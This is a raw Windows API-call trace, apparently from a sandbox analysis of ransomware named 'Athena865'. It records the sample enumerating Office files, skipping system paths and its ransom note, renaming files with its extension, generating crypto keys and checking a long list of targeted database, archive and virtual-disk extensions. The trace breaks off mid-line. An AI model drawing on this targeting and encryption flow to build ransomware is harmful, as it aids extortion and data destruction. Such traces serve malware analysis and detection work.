lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.881] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2=".") returned 1 [0148.881] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2="..") returned 1 [0148.881] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2="windows") returned 1 [0148.881] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2="bootmgr") returned 1 [0148.881] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2="temp") returned 1 [0148.881] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2="pagefile.sys") returned 1 [0148.881] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2="boot") returned 1 [0148.881] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2="ids.txt") returned 1 [0148.881] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2="ntuser.dat") returned 1 [0148.881] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2="perflogs") returned 1 [0148.881] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2="MSBuild") returned 1 [0148.881] lstrlenW (lpString="WINPROJ_F_COL.HXK") returned 17 [0148.881] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINPROJ_F_COL.HXK" | out: lpString1="WINPROJ_F_COL.HXK") returned="WINPROJ_F_COL.HXK" [0148.881] lstrlenW (lpString="WINPROJ_F_COL.HXK") returned 17 [0148.881] lstrlenW (lpString="Athena865") returned 9 [0148.881] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0148.881] lstrlenW (lpString=".dll") returned 4 [0148.881] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2=".dll") returned 1 [0148.881] lstrlenW (lpString=".lnk") returned 4 [0148.881] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2=".lnk") returned 1 [0148.881] lstrlenW (lpString=".ini") returned 4 [0148.881] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2=".ini") returned 1 [0148.882] lstrlenW (lpString=".sys") returned 4 [0148.882] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2=".sys") returned 1 [0148.882] lstrlenW (lpString="WINPROJ_F_COL.HXK") returned 17 [0148.882] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.Athena865") returned 75 [0148.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0148.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.884] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0148.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.884] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.885] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.885] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.885] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0148.887] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0148.887] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.888] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.888] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0148.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0148.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0148.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0148.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.889] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.889] CloseHandle (hObject=0x17c) returned 1 [0148.889] CloseHandle (hObject=0x154) returned 1 [0148.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.890] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d89a900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5ea120, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6d89a900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINPROJ_K_COL.HXK", cAlternateFileName="WINPRO~4.HXK")) returned 1 [0148.890] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.890] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.890] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2=".") returned 1 [0148.890] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2="..") returned 1 [0148.890] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2="windows") returned 1 [0148.890] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2="bootmgr") returned 1 [0148.890] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2="temp") returned 1 [0148.890] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2="pagefile.sys") returned 1 [0148.890] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2="boot") returned 1 [0148.890] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2="ids.txt") returned 1 [0148.890] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2="ntuser.dat") returned 1 [0148.890] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2="perflogs") returned 1 [0148.890] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2="MSBuild") returned 1 [0148.890] lstrlenW (lpString="WINPROJ_K_COL.HXK") returned 17 [0148.890] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINPROJ_K_COL.HXK" | out: lpString1="WINPROJ_K_COL.HXK") returned="WINPROJ_K_COL.HXK" [0148.890] lstrlenW (lpString="WINPROJ_K_COL.HXK") returned 17 [0148.890] lstrlenW (lpString="Athena865") returned 9 [0148.890] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0148.890] lstrlenW (lpString=".dll") returned 4 [0148.890] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2=".dll") returned 1 [0148.890] lstrlenW (lpString=".lnk") returned 4 [0148.890] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2=".lnk") returned 1 [0148.890] lstrlenW (lpString=".ini") returned 4 [0148.891] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2=".ini") returned 1 [0148.891] lstrlenW (lpString=".sys") returned 4 [0148.891] lstrcmpiW (lpString1="WINPROJ_K_COL.HXK", lpString2=".sys") returned 1 [0148.891] lstrlenW (lpString="WINPROJ_K_COL.HXK") returned 17 [0148.891] lstrlenW (lpString="bak") returned 3 [0148.891] lstrcmpiW (lpString1="HXK", lpString2="bak") returned 1 [0148.891] lstrlenW (lpString="ba_") returned 3 [0148.891] lstrcmpiW (lpString1="HXK", lpString2="ba_") returned 1 [0148.891] lstrlenW (lpString="dbb") returned 3 [0148.891] lstrcmpiW (lpString1="HXK", lpString2="dbb") returned 1 [0148.891] lstrlenW (lpString="vmdk") returned 4 [0148.891] lstrcmpiW (lpString1=".HXK", lpString2="vmdk") returned -1 [0148.891] lstrlenW (lpString="rar") returned 3 [0148.891] lstrcmpiW (lpString1="HXK", lpString2="rar") returned -1 [0148.891] lstrlenW (lpString="zip") returned 3 [0148.891] lstrcmpiW (lpString1="HXK", lpString2="zip") returned -1 [0148.891] lstrlenW (lpString="tgz") returned 3 [0148.891] lstrcmpiW (lpString1="HXK", lpString2="tgz") returned -1 [0148.891] lstrlenW (lpString="vbox") returned 4 [0148.891] lstrcmpiW (lpString1=".HXK", lpString2="vbox") returned -1 [0148.891] lstrlenW (lpString="vdi") returned 3 [0148.891] lstrcmpiW (lpString1="HXK", lpString2="vdi") returned -1 [0148.891] lstrlenW (lpString="vhd") returned 3 [0148.891] lstrcmpiW (lpString1="HXK", lpString2="vhd") returned -1 [0148.891] lstrlenW (lpString="vhdx") returned 4 [0148.891] lstrcmpiW (lpString1=".HXK", lpString2="vhdx") returned -1 [0148.891] lstrlenW (lpString="avhd") returned 4 [0148.891] lstrcmpiW (lpString1=".HXK", lpString2="avhd") returned -1 [0148.892] lstrlenW (lpString="db") returned 2 [0148.892] lstrcmpiW (lpString1="XK", lpString2="db") returned 1 [0148.892] lstrlenW (lpString="db2") returned 3 [0148.892] lstrcmpiW (lpString1="HXK", lpString2="db2") returned 1 [0148.892] lstrlenW (lpString="db3") returned 3 [0148.892] lstrcmpiW (lpString1="HXK", lpString2="db3") returned 1 [0148.892] lstrlenW (lpString="dbf") returned 3 [0148.892] lstrcmpiW (lpString1="HXK", lpString2="dbf") returned 1 [0148.892] lstrlenW (lpString="mdf") returned 3 [0148.892] lstrcmpiW (lpString1="HXK", lpString2="mdf") returned -1 [0148.892] lstrlenW (lpString="mdb") returned 3 [0148.892] lstrcmpiW (lpString1="HXK", lpString2="mdb") returned -1 [0148.892] lstrlenW (lpString="sql") returned 3 [0148.892] lstrcmpiW (lpString1="HXK", lpString2="sql") returned -1 [0148.892] lstrlenW (lpString="sqlite") returned 6 [0148.892] lstrcmpiW (lpString1="OL.HXK", lpString2="sqlite") returned -1 [0148.892] lstrlenW (lpString="sqlite3") returned 7 [0148.892] lstrcmpiW (lpString1="COL.HXK", lpString2="sqlite3") returned -1 [0148.892] lstrlenW (lpString="sqlitedb") returned 8 [0148.892] lstrcmpiW (lpString1="_COL.HXK", lpString2="sqlitedb") returned -1 [0148.892] lstrlenW (lpString="xml") returned 3 [0148.892] lstrcmpiW (lpString1="HXK", lpString2="xml") returned -1 [0148.892] lstrlenW (lpString="$er") returned 3 [0148.892] lstrcmpiW (lpString1="HXK", lpString2="$er") returned 1 [0148.892] lstrlenW (lpString="4dd") returned 3 [0148.892] lstrcmpiW (lpString1="HXK", lpString2="4dd") returned 1 [0148.892] lstrlenW (lpString="4dl") returned 3 [0148.892] lstrcmpiW (lpString1="HXK", lpString2="4dl") returned 1 [0148.893] lstrlenW (lpString="^^^") returned 3 [0148.893] lstrcmpiW (lpString1="HXK", lpString2="^^^") returned 1 [0148.893] lstrlenW (lpString="abs") returned 3 [0148.893] lstrcmpiW (lpString1="HXK", lpString2="abs") returned 1 [0148.893] lstrlenW (lpString="abx") returned 3 [0148.893] lstrcmpiW (lpString1="HXK", lpString2="abx") returned 1 [0148.893] lstrlenW (lpString="accdb") returned 5 [0148.893] lstrcmpiW (lpString1="L.HXK", lpString2="accdb") returned 1 [0148.893] lstrlenW (lpString="accdc") returned 5 [0148.893] lstrcmpiW (lpString1="L.HXK", lpString2="accdc") returned 1 [0148.893] lstrlenW (lpString="accde") returned 5 [0148.893] lstrcmpiW (lpString1="L.HXK", lpString2="accde") returned 1 [0148.893] lstrlenW (lpString="accdr") returned 5 [0148.893] lstrcmpiW (lpString1="L.HXK", lpString2="accdr") returned 1 [0148.893] lstrlenW (lpString="accdt") returned 5 [0148.893] lstrcmpiW (lpString1="L.HXK", lpString2="accdt") returned 1 [0148.893] lstrlenW (lpString="accdw") returned 5 [0148.893] lstrcmpiW (lpString1="L.HXK", lpString2="accdw") returned 1 [0148.893] lstrlenW (lpString="accft") returned 5 [0148.893] lstrcmpiW (lpString1="L.HXK", lpString2="accft") returned 1 [0148.893] lstrlenW (lpString="adb") returned 3 [0148.893] lstrcmpiW (lpString1="HXK", lpString2="adb") returned 1 [0148.893] lstrlenW (lpString="adb") returned 3 [0148.893] lstrcmpiW (lpString1="HXK", lpString2="adb") returned 1 [0148.893] lstrlenW (lpString="ade") returned 3 [0148.893] lstrcmpiW (lpString1="HXK", lpString2="ade") returned 1 [0148.893] lstrlenW (lpString="adf") returned 3 [0148.893] lstrcmpiW (lpString1="HXK", lpString2="adf") returned 1 [0148.893] lstrlenW (lpString="adn") returned 3 [0148.893] lstrcmpiW (lpString1="HXK", lpString2="adn") returned 1 [0148.894] lstrlenW (lpString="adp") returned 3 [0148.894] lstrcmpiW (lpString1="HXK", lpString2="adp") returned 1 [0148.894] lstrlenW (lpString="alf") returned 3 [0148.894] lstrcmpiW (lpString1="HXK", lpString2="alf") returned 1 [0148.894] lstrlenW (lpString="ask") returned 3 [0148.894] lstrcmpiW (lpString1="HXK", lpString2="ask") returned 1 [0148.894] lstrlenW (lpString="btr") returned 3 [0148.894] lstrcmpiW (lpString1="HXK", lpString2="btr") returned 1 [0148.894] lstrlenW (lpString="cat") returned 3 [0148.894] lstrcmpiW (lpString1="HXK", lpString2="cat") returned 1 [0148.894] lstrlenW (lpString="cdb") returned 3 [0148.894] lstrcmpiW (lpString1="HXK", lpString2="cdb") returned 1 [0148.894] lstrlenW (lpString="ckp") returned 3 [0148.894] lstrcmpiW (lpString1="HXK", lpString2="ckp") returned 1 [0148.894] lstrlenW (lpString="cma") returned 3 [0148.894] lstrcmpiW (lpString1="HXK", lpString2="cma") returned 1 [0148.894] lstrlenW (lpString="cpd") returned 3 [0148.894] lstrcmpiW (lpString1="HXK", lpString2="cpd") returned 1 [0148.894] lstrlenW (lpString="dacpac") returned 6 [0148.894] lstrcmpiW (lpString1="OL.HXK", lpString2="dacpac") returned 1 [0148.894] lstrlenW (lpString="dad") returned 3 [0148.894] lstrcmpiW (lpString1="HXK", lpString2="dad") returned 1 [0148.894] lstrlenW (lpString="dadiagrams") returned 10 [0148.894] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="dadiagrams") returned -1 [0148.894] lstrlenW (lpString="daschema") returned 8 [0148.894] lstrcmpiW (lpString1="_COL.HXK", lpString2="daschema") returned -1 [0148.894] lstrlenW (lpString="db-journal") returned 10 [0148.894] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="db-journal") returned -1 [0148.894] lstrlenW (lpString="db-shm") returned 6 [0148.894] lstrcmpiW (lpString1="OL.HXK", lpString2="db-shm") returned 1 [0148.895] lstrlenW (lpString="db-wal") returned 6 [0148.895] lstrcmpiW (lpString1="OL.HXK", lpString2="db-wal") returned 1 [0148.895] lstrlenW (lpString="dbc") returned 3 [0148.895] lstrcmpiW (lpString1="HXK", lpString2="dbc") returned 1 [0148.895] lstrlenW (lpString="dbs") returned 3 [0148.895] lstrcmpiW (lpString1="HXK", lpString2="dbs") returned 1 [0148.895] lstrlenW (lpString="dbt") returned 3 [0148.895] lstrcmpiW (lpString1="HXK", lpString2="dbt") returned 1 [0148.895] lstrlenW (lpString="dbv") returned 3 [0148.895] lstrcmpiW (lpString1="HXK", lpString2="dbv") returned 1 [0148.895] lstrlenW (lpString="dbx") returned 3 [0148.895] lstrcmpiW (lpString1="HXK", lpString2="dbx") returned 1 [0148.895] lstrlenW (lpString="dcb") returned 3 [0148.895] lstrcmpiW (lpString1="HXK", lpString2="dcb") returned 1 [0148.895] lstrlenW (lpString="dct") returned 3 [0148.895] lstrcmpiW (lpString1="HXK", lpString2="dct") returned 1 [0148.895] lstrlenW (lpString="dcx") returned 3 [0148.895] lstrcmpiW (lpString1="HXK", lpString2="dcx") returned 1 [0148.895] lstrlenW (lpString="ddl") returned 3 [0148.895] lstrcmpiW (lpString1="HXK", lpString2="ddl") returned 1 [0148.895] lstrlenW (lpString="dlis") returned 4 [0148.895] lstrcmpiW (lpString1=".HXK", lpString2="dlis") returned -1 [0148.895] lstrlenW (lpString="dp1") returned 3 [0148.895] lstrcmpiW (lpString1="HXK", lpString2="dp1") returned 1 [0148.895] lstrlenW (lpString="dqy") returned 3 [0148.895] lstrcmpiW (lpString1="HXK", lpString2="dqy") returned 1 [0148.895] lstrlenW (lpString="dsk") returned 3 [0148.895] lstrcmpiW (lpString1="HXK", lpString2="dsk") returned 1 [0148.895] lstrlenW (lpString="dsn") returned 3 [0148.895] lstrcmpiW (lpString1="HXK", lpString2="dsn") returned 1 [0148.896] lstrlenW (lpString="dtsx") returned 4 [0148.896] lstrcmpiW (lpString1=".HXK", lpString2="dtsx") returned -1 [0148.896] lstrlenW (lpString="dxl") returned 3 [0148.896] lstrcmpiW (lpString1="HXK", lpString2="dxl") returned 1 [0148.896] lstrlenW (lpString="eco") returned 3 [0148.896] lstrcmpiW (lpString1="HXK", lpString2="eco") returned 1 [0148.896] lstrlenW (lpString="ecx") returned 3 [0148.896] lstrcmpiW (lpString1="HXK", lpString2="ecx") returned 1 [0148.896] lstrlenW (lpString="edb") returned 3 [0148.896] lstrcmpiW (lpString1="HXK", lpString2="edb") returned 1 [0148.896] lstrlenW (lpString="epim") returned 4 [0148.896] lstrcmpiW (lpString1=".HXK", lpString2="epim") returned -1 [0148.896] lstrlenW (lpString="fcd") returned 3 [0148.896] lstrcmpiW (lpString1="HXK", lpString2="fcd") returned 1 [0148.896] lstrlenW (lpString="fdb") returned 3 [0148.896] lstrcmpiW (lpString1="HXK", lpString2="fdb") returned 1 [0148.896] lstrlenW (lpString="fic") returned 3 [0148.896] lstrcmpiW (lpString1="HXK", lpString2="fic") returned 1 [0148.896] lstrlenW (lpString="flexolibrary") returned 12 [0148.896] lstrcmpiW (lpString1="OJ_K_COL.HXK", lpString2="flexolibrary") returned 1 [0148.896] lstrlenW (lpString="fm5") returned 3 [0148.896] lstrcmpiW (lpString1="HXK", lpString2="fm5") returned 1 [0148.896] lstrlenW (lpString="fmp") returned 3 [0148.896] lstrcmpiW (lpString1="HXK", lpString2="fmp") returned 1 [0148.896] lstrlenW (lpString="fmp12") returned 5 [0148.896] lstrcmpiW (lpString1="L.HXK", lpString2="fmp12") returned 1 [0148.896] lstrlenW (lpString="fmpsl") returned 5 [0148.896] lstrcmpiW (lpString1="L.HXK", lpString2="fmpsl") returned 1 [0148.896] lstrlenW (lpString="fol") returned 3 [0148.896] lstrcmpiW (lpString1="HXK", lpString2="fol") returned 1 [0148.897] lstrlenW (lpString="fp3") returned 3 [0148.897] lstrcmpiW (lpString1="HXK", lpString2="fp3") returned 1 [0148.897] lstrlenW (lpString="fp4") returned 3 [0148.897] lstrcmpiW (lpString1="HXK", lpString2="fp4") returned 1 [0148.897] lstrlenW (lpString="fp5") returned 3 [0148.897] lstrcmpiW (lpString1="HXK", lpString2="fp5") returned 1 [0148.897] lstrlenW (lpString="fp7") returned 3 [0148.897] lstrcmpiW (lpString1="HXK", lpString2="fp7") returned 1 [0148.897] lstrlenW (lpString="fpt") returned 3 [0148.897] lstrcmpiW (lpString1="HXK", lpString2="fpt") returned 1 [0148.897] lstrlenW (lpString="frm") returned 3 [0148.897] lstrcmpiW (lpString1="HXK", lpString2="frm") returned 1 [0148.897] lstrlenW (lpString="gdb") returned 3 [0148.897] lstrcmpiW (lpString1="HXK", lpString2="gdb") returned 1 [0148.897] lstrlenW (lpString="gdb") returned 3 [0148.897] lstrcmpiW (lpString1="HXK", lpString2="gdb") returned 1 [0148.897] lstrlenW (lpString="grdb") returned 4 [0148.897] lstrcmpiW (lpString1=".HXK", lpString2="grdb") returned -1 [0148.897] lstrlenW (lpString="gwi") returned 3 [0148.897] lstrcmpiW (lpString1="HXK", lpString2="gwi") returned 1 [0148.897] lstrlenW (lpString="hdb") returned 3 [0148.897] lstrcmpiW (lpString1="HXK", lpString2="hdb") returned 1 [0148.897] lstrlenW (lpString="his") returned 3 [0148.897] lstrcmpiW (lpString1="HXK", lpString2="his") returned 1 [0148.897] lstrlenW (lpString="ib") returned 2 [0148.897] lstrcmpiW (lpString1="XK", lpString2="ib") returned 1 [0148.897] lstrlenW (lpString="idb") returned 3 [0148.897] lstrcmpiW (lpString1="HXK", lpString2="idb") returned -1 [0148.897] lstrlenW (lpString="ihx") returned 3 [0148.898] lstrcmpiW (lpString1="HXK", lpString2="ihx") returned -1 [0148.898] lstrlenW (lpString="itdb") returned 4 [0148.898] lstrcmpiW (lpString1=".HXK", lpString2="itdb") returned -1 [0148.898] lstrlenW (lpString="itw") returned 3 [0148.898] lstrcmpiW (lpString1="HXK", lpString2="itw") returned -1 [0148.898] lstrlenW (lpString="jet") returned 3 [0148.898] lstrcmpiW (lpString1="HXK", lpString2="jet") returned -1 [0148.898] lstrlenW (lpString="jtx") returned 3 [0148.898] lstrcmpiW (lpString1="HXK", lpString2="jtx") returned -1 [0148.898] lstrlenW (lpString="kdb") returned 3 [0148.898] lstrcmpiW (lpString1="HXK", lpString2="kdb") returned -1 [0148.898] lstrlenW (lpString="kexi") returned 4 [0148.898] lstrcmpiW (lpString1=".HXK", lpString2="kexi") returned -1 [0148.898] lstrlenW (lpString="kexic") returned 5 [0148.898] lstrcmpiW (lpString1="L.HXK", lpString2="kexic") returned 1 [0148.898] lstrlenW (lpString="kexis") returned 5 [0148.898] lstrcmpiW (lpString1="L.HXK", lpString2="kexis") returned 1 [0148.898] lstrlenW (lpString="lgc") returned 3 [0148.898] lstrcmpiW (lpString1="HXK", lpString2="lgc") returned -1 [0148.898] lstrlenW (lpString="lwx") returned 3 [0148.898] lstrcmpiW (lpString1="HXK", lpString2="lwx") returned -1 [0148.898] lstrlenW (lpString="maf") returned 3 [0148.898] lstrcmpiW (lpString1="HXK", lpString2="maf") returned -1 [0148.898] lstrlenW (lpString="maq") returned 3 [0148.898] lstrcmpiW (lpString1="HXK", lpString2="maq") returned -1 [0148.898] lstrlenW (lpString="mar") returned 3 [0148.898] lstrcmpiW (lpString1="HXK", lpString2="mar") returned -1 [0148.898] lstrlenW (lpString="marshal") returned 7 [0148.898] lstrcmpiW (lpString1="COL.HXK", lpString2="marshal") returned -1 [0148.899] lstrlenW (lpString="mas") returned 3 [0148.899] lstrcmpiW (lpString1="HXK", lpString2="mas") returned -1 [0148.899] lstrlenW (lpString="mav") returned 3 [0148.899] lstrcmpiW (lpString1="HXK", lpString2="mav") returned -1 [0148.899] lstrlenW (lpString="maw") returned 3 [0148.899] lstrcmpiW (lpString1="HXK", lpString2="maw") returned -1 [0148.899] lstrlenW (lpString="mdbhtml") returned 7 [0148.899] lstrcmpiW (lpString1="COL.HXK", lpString2="mdbhtml") returned -1 [0148.899] lstrlenW (lpString="mdn") returned 3 [0148.899] lstrcmpiW (lpString1="HXK", lpString2="mdn") returned -1 [0148.899] lstrlenW (lpString="mdt") returned 3 [0148.899] lstrcmpiW (lpString1="HXK", lpString2="mdt") returned -1 [0148.899] lstrlenW (lpString="mfd") returned 3 [0148.899] lstrcmpiW (lpString1="HXK", lpString2="mfd") returned -1 [0148.899] lstrlenW (lpString="mpd") returned 3 [0148.899] lstrcmpiW (lpString1="HXK", lpString2="mpd") returned -1 [0148.899] lstrlenW (lpString="mrg") returned 3 [0148.899] lstrcmpiW (lpString1="HXK", lpString2="mrg") returned -1 [0148.899] lstrlenW (lpString="mud") returned 3 [0148.899] lstrcmpiW (lpString1="HXK", lpString2="mud") returned -1 [0148.899] lstrlenW (lpString="mwb") returned 3 [0148.899] lstrcmpiW (lpString1="HXK", lpString2="mwb") returned -1 [0148.899] lstrlenW (lpString="myd") returned 3 [0148.899] lstrcmpiW (lpString1="HXK", lpString2="myd") returned -1 [0148.899] lstrlenW (lpString="ndf") returned 3 [0148.899] lstrcmpiW (lpString1="HXK", lpString2="ndf") returned -1 [0148.899] lstrlenW (lpString="nnt") returned 3 [0148.899] lstrcmpiW (lpString1="HXK", lpString2="nnt") returned -1 [0148.899] lstrlenW (lpString="nrmlib") returned 6 [0148.899] lstrcmpiW (lpString1="OL.HXK", lpString2="nrmlib") returned 1 [0148.899] lstrlenW (lpString="ns2") returned 3 [0148.900] lstrcmpiW (lpString1="HXK", lpString2="ns2") returned -1 [0148.900] lstrlenW (lpString="ns3") returned 3 [0148.900] lstrcmpiW (lpString1="HXK", lpString2="ns3") returned -1 [0148.900] lstrlenW (lpString="ns4") returned 3 [0148.900] lstrcmpiW (lpString1="HXK", lpString2="ns4") returned -1 [0148.900] lstrlenW (lpString="nsf") returned 3 [0148.900] lstrcmpiW (lpString1="HXK", lpString2="nsf") returned -1 [0148.900] lstrlenW (lpString="nv") returned 2 [0148.900] lstrcmpiW (lpString1="XK", lpString2="nv") returned 1 [0148.900] lstrlenW (lpString="nv2") returned 3 [0148.900] lstrcmpiW (lpString1="HXK", lpString2="nv2") returned -1 [0148.900] lstrlenW (lpString="nwdb") returned 4 [0148.900] lstrcmpiW (lpString1=".HXK", lpString2="nwdb") returned -1 [0148.900] lstrlenW (lpString="nyf") returned 3 [0148.900] lstrcmpiW (lpString1="HXK", lpString2="nyf") returned -1 [0148.900] lstrlenW (lpString="odb") returned 3 [0148.900] lstrcmpiW (lpString1="HXK", lpString2="odb") returned -1 [0148.900] lstrlenW (lpString="odb") returned 3 [0148.900] lstrcmpiW (lpString1="HXK", lpString2="odb") returned -1 [0148.900] lstrlenW (lpString="oqy") returned 3 [0148.900] lstrcmpiW (lpString1="HXK", lpString2="oqy") returned -1 [0148.900] lstrlenW (lpString="ora") returned 3 [0148.900] lstrcmpiW (lpString1="HXK", lpString2="ora") returned -1 [0148.900] lstrlenW (lpString="orx") returned 3 [0148.900] lstrcmpiW (lpString1="HXK", lpString2="orx") returned -1 [0148.900] lstrlenW (lpString="owc") returned 3 [0148.900] lstrcmpiW (lpString1="HXK", lpString2="owc") returned -1 [0148.900] lstrlenW (lpString="p96") returned 3 [0148.900] lstrcmpiW (lpString1="HXK", lpString2="p96") returned -1 [0148.900] lstrlenW (lpString="p97") returned 3 [0148.901] lstrcmpiW (lpString1="HXK", lpString2="p97") returned -1 [0148.901] lstrlenW (lpString="pan") returned 3 [0148.901] lstrcmpiW (lpString1="HXK", lpString2="pan") returned -1 [0148.901] lstrlenW (lpString="pdb") returned 3 [0148.901] lstrcmpiW (lpString1="HXK", lpString2="pdb") returned -1 [0148.901] lstrlenW (lpString="pdm") returned 3 [0148.901] lstrcmpiW (lpString1="HXK", lpString2="pdm") returned -1 [0148.901] lstrlenW (lpString="pnz") returned 3 [0148.901] lstrcmpiW (lpString1="HXK", lpString2="pnz") returned -1 [0148.901] lstrlenW (lpString="qry") returned 3 [0148.901] lstrcmpiW (lpString1="HXK", lpString2="qry") returned -1 [0148.901] lstrlenW (lpString="qvd") returned 3 [0148.901] lstrcmpiW (lpString1="HXK", lpString2="qvd") returned -1 [0148.901] lstrlenW (lpString="rbf") returned 3 [0148.901] lstrcmpiW (lpString1="HXK", lpString2="rbf") returned -1 [0148.901] lstrlenW (lpString="rctd") returned 4 [0148.901] lstrcmpiW (lpString1=".HXK", lpString2="rctd") returned -1 [0148.901] lstrlenW 